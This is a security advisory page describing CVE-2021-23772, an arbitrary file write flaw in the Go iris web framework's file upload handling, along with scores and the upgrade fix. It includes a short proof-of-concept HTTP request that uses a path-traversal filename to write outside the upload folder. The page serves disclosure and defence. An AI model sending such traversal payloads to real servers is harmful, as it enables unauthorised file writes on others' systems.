Homepage
About Snyk

Arbitrary File Write Affecting github.com/kataras/iris package, versions <12.2.0-alpha8

0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.34% (72nd percentile)
Expand this section
NVD
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMKATARASIRIS-2325169
  • published 23 Dec 2021
  • disclosed 23 Dec 2021
  • credit Snyk Security Team
Report a new vulnerability Found a mistake?

Introduced: 23 Dec 2021

CVE-2021-23772 Open this link in a new tab
CWE-59 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade github.com/kataras/iris to version 12.2.0-alpha8 or higher.

Overview

github.com/kataras/iris is a fast, simple yet fully featured and very efficient web framework for Go.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using UploadFormFiles method may enable attackers to write to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the upload-files example.

POST /upload HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----xxx
Connection: close
Content-Length: 151


------xxx
Content-Disposition: form-data; name="uploadfile"; filename="..././..././malicious-file"
Content-Type: text/plain


pwned


------xxx--

Note: the vulnerability is only possible in Go < 1.7.5 due to unsafe net/http behaviour.

References